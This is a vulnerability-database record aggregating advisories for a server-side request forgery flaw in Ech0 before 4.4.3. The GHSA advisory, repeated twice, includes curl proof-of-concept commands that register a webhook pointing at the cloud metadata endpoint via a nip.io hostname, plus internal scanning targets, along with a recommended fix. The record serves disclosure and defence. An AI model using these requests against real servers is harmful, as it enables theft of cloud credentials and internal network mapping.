{"id":"CVE-2026-79671","aliases":["EUVD-2026-65443","GHSA-7rwv-fqq2-88c4","GHSA-r2x7-427f-rq69","GO-2026-5603"],"status":"published","title":"Ech0 before 4.4.3 SSRF via DNS Resolution Bypass","description":"Ech0 before 4.4.3 contains a server-side request forgery vulnerability in the validateWebhookURL function (webhook_setting_service.go), which only validates literal IP addresses via net.ParseIP() and fails to reject hostnames that DNS-resolve to private or internal IPs (e.g., 169.254.169.254.nip.io). An attacker with admin privileges can create a webhook with such a hostname to bypass validation and cause the server to make requests to internal services, cloud metadata endpoints, and private network resources. The issue is fixed in 4.4.3.","severity":{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00313,"percentile":0.24341,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-918"],"published":"2026-04-10T19:49:48Z","modified":"2026-10-28T02:30:43Z","fixes":[{"ecosystem":"Go","package":"github.com/lin-snow/ech0","fixed_in":["4.4.3"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/lin-snow/ech0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.4.3"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/lin-snow/ech0","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"4.4.3"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/lin-snow/ech0","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]}],"products":[{"vendor":"lin-snow","product":"ech0"}],"references":[{"url":"https://github.com/lin-snow/Ech0/security/advisories/GHSA-r2x7-427f-rq69","tags":["vendor-advisory","exploit","advisory","web"]},{"url":"https://www.vulncheck.com/advisories/ech0-before-ssrf-via-dns-resolution-bypass","tags":["third-party-advisory","advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79671","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-7rwv-fqq2-88c4"},{"url":"https://github.com/lin-snow/Ech0/releases/tag/v4.4.3","tags":["web"]},{"url":"https://github.com/advisories/GHSA-r2x7-427f-rq69"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/79xxx/CVE-2026-79671.json","tags":["advisory"]},{"url":"https://github.com/lin-snow/Ech0","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-79671","title":"Ech0 before 4.4.3 SSRF via DNS Resolution Bypass","description":"Ech0 before 4.4.3 contains a server-side request forgery vulnerability in the validateWebhookURL function (webhook_setting_service.go), which only validates literal IP addresses via net.ParseIP() and fails to reject hostnames that DNS-resolve to private or internal IPs (e.g., 169.254.169.254.nip.io). An attacker with admin privileges can create a webhook with such a hostname to bypass validation and cause the server to make requests to internal services, cloud metadata endpoints, and private network resources. The issue is fixed in 4.4.3.","status":"published","published":"2026-08-25T11:33:32.174Z","modified":"2026-08-29T11:48:00.599Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N","level":"medium","assessor":"cna"},{"version":"3.1","score":5.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T13:50:27.582139Z"}],"euvd":[{"id":"EUVD-2026-65443","description":"Ech0 before 4.4.3 contains a server-side request forgery vulnerability in the validateWebhookURL function (webhook_setting_service.go), which only validates literal IP addresses via net.ParseIP() and fails to reject hostnames that DNS-resolve to private or internal IPs (e.g., 169.254.169.254.nip.io). An attacker with admin privileges can create a webhook with such a hostname to bypass validation and cause the server to make requests to internal services, cloud metadata endpoints, and private network resources. The issue is fixed in 4.4.3.","status":"published","published":"2026-08-25T11:33:32Z","modified":"2026-08-29T11:48:00Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N","level":"medium"}],"updated_at":"2026-11-02T18:01:21.947009Z"}],"ghsa":[{"id":"GHSA-7rwv-fqq2-88c4","title":"Ech0 through 4.2.1 contains a server-side request forgery vulnerability in the validateWebhookURL...","description":"Ech0 through 4.2.1 contains a server-side request forgery vulnerability in the validateWebhookURL function (webhook_setting_service.go), which only validates literal IP addresses via net.ParseIP() and fails to reject hostnames that DNS-resolve to private or internal IPs (e.g., 169.254.169.254.nip.io). An attacker with admin privileges can create a webhook with such a hostname to bypass validation and cause the server to make requests to internal services, cloud metadata endpoints, and private network resources. The issue is fixed in 4.4.3.","status":"published","published":"2026-08-25T12:31:27Z","modified":"2026-08-25T12:31:34Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium"},{"version":"3.1","score":5.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:10:56.831918Z"},{"id":"GHSA-r2x7-427f-rq69","title":"Ech0 has SSRF via DNS Resolution Bypass in Webhook URL Validation","description":"## Summary\n\nThe `validateWebhookURL` function in `webhook_setting_service.go` attempts to block webhooks targeting private/internal IP addresses, but only checks literal IP strings via `net.ParseIP()`. Hostnames that DNS-resolve to private IPs (e.g., `169.254.169.254.nip.io`, `10.0.0.1.nip.io`) bypass all checks, allowing an admin to create webhooks that make server-side requests to internal network services and cloud metadata endpoints.\n\n## Details\n\nThe vulnerability is in `validateWebhookURL` (`internal/service/setting/webhook_setting_service.go:180-199`):\n\n```go\nfunc validateWebhookURL(rawURL string) error {\n    parsed, err := url.Parse(rawURL)\n    // ...\n    host := strings.ToLower(parsed.Hostname())\n    if host == \"\" || host == \"localhost\" || strings.HasSuffix(host, \".local\") {\n        return errors.New(commonModel.INVALID_WEBHOOK_URL)\n    }\n    if ip := net.ParseIP(host); ip != nil {  // \u003c-- returns nil for hostnames\n        if ip.IsLoopback() || ip.IsPrivate() || ip.IsLinkLocalMulticast() ||\n            ip.IsLinkLocalUnicast() || ip.IsUnspecified() {\n            return errors.New(commonModel.INVALID_WEBHOOK_URL)\n        }\n    }\n    return nil  // hostname passes all checks unchecked\n}\n```\n\n`net.ParseIP(\"169.254.169.254.nip.io\")` returns `nil` because it is not a literal IP address. The entire private IP check block is skipped, and the function returns `nil` (valid).\n\nBoth HTTP clients that execute webhook requests use standard `http.Client` / `http.Transport` with no custom `DialContext` to verify resolved IPs:\n\n- **TestWebhook** (`webhook_setting_service.go:169`): `\u0026http.Client{Timeout: 5 * time.Second}`\n- **Dispatcher** (`dispatcher.go:51-58`): `\u0026http.Client{...Transport: \u0026http.Transport{...}}` — no custom dialer\n\nThe `Dispatcher.HandleObservation` (`dispatcher.go:67-81`) iterates all active webhooks and dispatches without re-validating URLs, so a stored malicious webhook triggers SSRF on every application event.\n\n**Execution flow:**\n1. Admin calls POST `/api/webhook` with URL `http://169.254.169.254.nip.io/latest/meta-data/`\n2. `CreateWebhook` → `validateWebhookURL` → `net.ParseIP` returns nil → passes validation\n3. Webhook stored in database with `is_active: true`\n4. On any echo event → `Dispatcher.HandleObservation` → `Dispatch` → `SendWithRetry` → DNS resolves `169.254.169.254.nip.io` to `169.254.169.254` → POST to cloud metadata endpoint\n\n## PoC\n\n```bash\n# Step 1: Create a webhook targeting cloud metadata via DNS rebinding\ncurl -X POST http://localhost:8080/api/webhook \\\n  -H 'Authorization: Bearer \u003cadmin-jwt\u003e' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"name\":\"ssrf-probe\",\"url\":\"http://169.254.169.254.nip.io/latest/meta-data/\",\"secret\":\"\",\"is_active\":true}'\n\n# Step 2: Trigger SSRF via test endpoint\ncurl -X POST http://localhost:8080/api/webhook/\u003cwebhook-id\u003e/test \\\n  -H 'Authorization: Bearer \u003cadmin-jwt\u003e'\n\n# The server makes an HTTP POST to 169.254.169.254 (AWS metadata).\n# net.ParseIP(\"169.254.169.254.nip.io\") returns nil, skipping all IP checks.\n# Delivery status and error messages reveal connectivity information.\n\n# For internal network scanning:\n# http://10.0.0.1.nip.io:8080/\n# http://127.0.0.1.nip.io:6379/\n\n# With is_active:true, every application event automatically dispatches\n# to the SSRF target via Dispatcher.HandleObservation (no re-validation).\n```\n\n## Impact\n\n- **Cloud metadata access:** An admin can reach cloud instance metadata endpoints (AWS `169.254.169.254`, GCP, Azure) to steal IAM credentials, instance identity tokens, and configuration data.\n- **Internal network probing:** Webhooks can scan internal services by observing delivery status (`success`/`failed`) and error messages, mapping internal network topology.\n- **Persistent SSRF:** Active webhooks fire on every application event via the Dispatcher, creating ongoing SSRF without further admin interaction.\n- **Scope escalation:** Impact escapes the application's security boundary to affect internal infrastructure, despite the application explicitly attempting to prevent this.\n\n## Recommended Fix\n\nReplace the hostname-only check with a custom `net.Dialer` that resolves DNS and validates the resolved IP before connecting. Apply this to both HTTP clients:\n\n```go\nimport \"net\"\n\nfunc safeDialContext(ctx context.Context, network, addr string) (net.Conn, error) {\n    host, port, err := net.SplitHostPort(addr)\n    if err != nil {\n        return nil, err\n    }\n    ips, err := net.DefaultResolver.LookupIPAddr(ctx, host)\n    if err != nil {\n        return nil, err\n    }\n    for _, ip := range ips {\n        if ip.IP.IsLoopback() || ip.IP.IsPrivate() || ip.IP.IsLinkLocalUnicast() ||\n            ip.IP.IsLinkLocalMulticast() || ip.IP.IsUnspecified() {\n            return nil, fmt.Errorf(\"resolved IP %s is not allowed\", ip.IP)\n        }\n    }\n    dialer := \u0026net.Dialer{Timeout: 5 * time.Second}\n    return dialer.DialContext(ctx, network, addr)\n}\n\n// Use in both TestWebhook and Dispatcher:\nclient := \u0026http.Client{\n    Timeout: 5 * time.Second,\n    Transport: \u0026http.Transport{\n        DialContext: safeDialContext,\n    },\n}\n```\n\nThis ensures resolved IPs are checked against the private range blocklist regardless of hostname used.","status":"published","published":"2026-04-10T19:49:48Z","modified":"2026-04-10T19:49:50Z","cvss":[{"version":"3.1","score":5.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:39:53.087746Z"}],"nvd":[{"id":"CVE-2026-79671","description":"Ech0 before 4.4.3 contains a server-side request forgery vulnerability in the validateWebhookURL function (webhook_setting_service.go), which only validates literal IP addresses via net.ParseIP() and fails to reject hostnames that DNS-resolve to private or internal IPs (e.g., 169.254.169.254.nip.io). An attacker with admin privileges can create a webhook with such a hostname to bypass validation and cause the server to make requests to internal services, cloud metadata endpoints, and private network resources. The issue is fixed in 4.4.3.","status":"published","published":"2026-08-25T12:16:35.39Z","modified":"2026-08-31T20:50:15.927Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"},{"version":"3.1","score":5.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:12:41.347728Z"}],"osv":[{"id":"CVE-2026-79671","title":"Ech0 before 4.4.3 SSRF via DNS Resolution Bypass","description":"Ech0 before 4.4.3 contains a server-side request forgery vulnerability in the validateWebhookURL function (webhook_setting_service.go), which only validates literal IP addresses via net.ParseIP() and fails to reject hostnames that DNS-resolve to private or internal IPs (e.g., 169.254.169.254.nip.io). An attacker with admin privileges can create a webhook with such a hostname to bypass validation and cause the server to make requests to internal services, cloud metadata endpoints, and private network resources. The issue is fixed in 4.4.3.","status":"published","published":"2026-08-25T11:33:32.174Z","modified":"2026-10-28T02:30:43.772181783Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N","level":"medium"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:45:17.44708Z"},{"id":"GHSA-r2x7-427f-rq69","title":"Ech0 has SSRF via DNS Resolution Bypass in Webhook URL Validation","description":"## Summary\n\nThe `validateWebhookURL` function in `webhook_setting_service.go` attempts to block webhooks targeting private/internal IP addresses, but only checks literal IP strings via `net.ParseIP()`. Hostnames that DNS-resolve to private IPs (e.g., `169.254.169.254.nip.io`, `10.0.0.1.nip.io`) bypass all checks, allowing an admin to create webhooks that make server-side requests to internal network services and cloud metadata endpoints.\n\n## Details\n\nThe vulnerability is in `validateWebhookURL` (`internal/service/setting/webhook_setting_service.go:180-199`):\n\n```go\nfunc validateWebhookURL(rawURL string) error {\n    parsed, err := url.Parse(rawURL)\n    // ...\n    host := strings.ToLower(parsed.Hostname())\n    if host == \"\" || host == \"localhost\" || strings.HasSuffix(host, \".local\") {\n        return errors.New(commonModel.INVALID_WEBHOOK_URL)\n    }\n    if ip := net.ParseIP(host); ip != nil {  // \u003c-- returns nil for hostnames\n        if ip.IsLoopback() || ip.IsPrivate() || ip.IsLinkLocalMulticast() ||\n            ip.IsLinkLocalUnicast() || ip.IsUnspecified() {\n            return errors.New(commonModel.INVALID_WEBHOOK_URL)\n        }\n    }\n    return nil  // hostname passes all checks unchecked\n}\n```\n\n`net.ParseIP(\"169.254.169.254.nip.io\")` returns `nil` because it is not a literal IP address. The entire private IP check block is skipped, and the function returns `nil` (valid).\n\nBoth HTTP clients that execute webhook requests use standard `http.Client` / `http.Transport` with no custom `DialContext` to verify resolved IPs:\n\n- **TestWebhook** (`webhook_setting_service.go:169`): `\u0026http.Client{Timeout: 5 * time.Second}`\n- **Dispatcher** (`dispatcher.go:51-58`): `\u0026http.Client{...Transport: \u0026http.Transport{...}}` — no custom dialer\n\nThe `Dispatcher.HandleObservation` (`dispatcher.go:67-81`) iterates all active webhooks and dispatches without re-validating URLs, so a stored malicious webhook triggers SSRF on every application event.\n\n**Execution flow:**\n1. Admin calls POST `/api/webhook` with URL `http://169.254.169.254.nip.io/latest/meta-data/`\n2. `CreateWebhook` → `validateWebhookURL` → `net.ParseIP` returns nil → passes validation\n3. Webhook stored in database with `is_active: true`\n4. On any echo event → `Dispatcher.HandleObservation` → `Dispatch` → `SendWithRetry` → DNS resolves `169.254.169.254.nip.io` to `169.254.169.254` → POST to cloud metadata endpoint\n\n## PoC\n\n```bash\n# Step 1: Create a webhook targeting cloud metadata via DNS rebinding\ncurl -X POST http://localhost:8080/api/webhook \\\n  -H 'Authorization: Bearer \u003cadmin-jwt\u003e' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"name\":\"ssrf-probe\",\"url\":\"http://169.254.169.254.nip.io/latest/meta-data/\",\"secret\":\"\",\"is_active\":true}'\n\n# Step 2: Trigger SSRF via test endpoint\ncurl -X POST http://localhost:8080/api/webhook/\u003cwebhook-id\u003e/test \\\n  -H 'Authorization: Bearer \u003cadmin-jwt\u003e'\n\n# The server makes an HTTP POST to 169.254.169.254 (AWS metadata).\n# net.ParseIP(\"169.254.169.254.nip.io\") returns nil, skipping all IP checks.\n# Delivery status and error messages reveal connectivity information.\n\n# For internal network scanning:\n# http://10.0.0.1.nip.io:8080/\n# http://127.0.0.1.nip.io:6379/\n\n# With is_active:true, every application event automatically dispatches\n# to the SSRF target via Dispatcher.HandleObservation (no re-validation).\n```\n\n## Impact\n\n- **Cloud metadata access:** An admin can reach cloud instance metadata endpoints (AWS `169.254.169.254`, GCP, Azure) to steal IAM credentials, instance identity tokens, and configuration data.\n- **Internal network probing:** Webhooks can scan internal services by observing delivery status (`success`/`failed`) and error messages, mapping internal network topology.\n- **Persistent SSRF:** Active webhooks fire on every application event via the Dispatcher, creating ongoing SSRF without further admin interaction.\n- **Scope escalation:** Impact escapes the application's security boundary to affect internal infrastructure, despite the application explicitly attempting to prevent this.\n\n## Recommended Fix\n\nReplace the hostname-only check with a custom `net.Dialer` that resolves DNS and validates the resolved IP before connecting. Apply this to both HTTP clients:\n\n```go\nimport \"net\"\n\nfunc safeDialContext(ctx context.Context, network, addr string) (net.Conn, error) {\n    host, port, err := net.SplitHostPort(addr)\n    if err != nil {\n        return nil, err\n    }\n    ips, err := net.DefaultResolver.LookupIPAddr(ctx, host)\n    if err != nil {\n        return nil, err\n    }\n    for _, ip := range ips {\n        if ip.IP.IsLoopback() || ip.IP.IsPrivate() || ip.IP.IsLinkLocalUnicast() ||\n            ip.IP.IsLinkLocalMulticast() || ip.IP.IsUnspecified() {\n            return nil, fmt.Errorf(\"resolved IP %s is not allowed\", ip.IP)\n        }\n    }\n    dialer := \u0026net.Dialer{Timeout: 5 * time.Second}\n    return dialer.DialContext(ctx, network, addr)\n}\n\n// Use in both TestWebhook and Dispatcher:\nclient := \u0026http.Client{\n    Timeout: 5 * time.Second,\n    Transport: \u0026http.Transport{\n        DialContext: safeDialContext,\n    },\n}\n```\n\nThis ensures resolved IPs are checked against the private range blocklist regardless of hostname used.","status":"published","published":"2026-04-10T19:49:48Z","modified":"2026-08-27T03:55:35.939538877Z","cvss":[{"version":"3.1","score":5.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:46:55.122811Z"},{"id":"GO-2026-5603","title":"Ech0 has SSRF via DNS Resolution Bypass in Webhook URL Validation in github.com/lin-snow/ech0","description":"Ech0 has SSRF via DNS Resolution Bypass in Webhook URL Validation in github.com/lin-snow/ech0.\n\nNOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.\n\n(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)\n\nThe additional affected modules and versions are: github.com/lin-snow/ech0 before v4.4.3.","status":"published","published":"2026-06-25T22:34:34Z","modified":"2026-08-27T03:55:35.939538877Z","updated_at":"2026-11-02T15:47:02.556545Z"}]}}
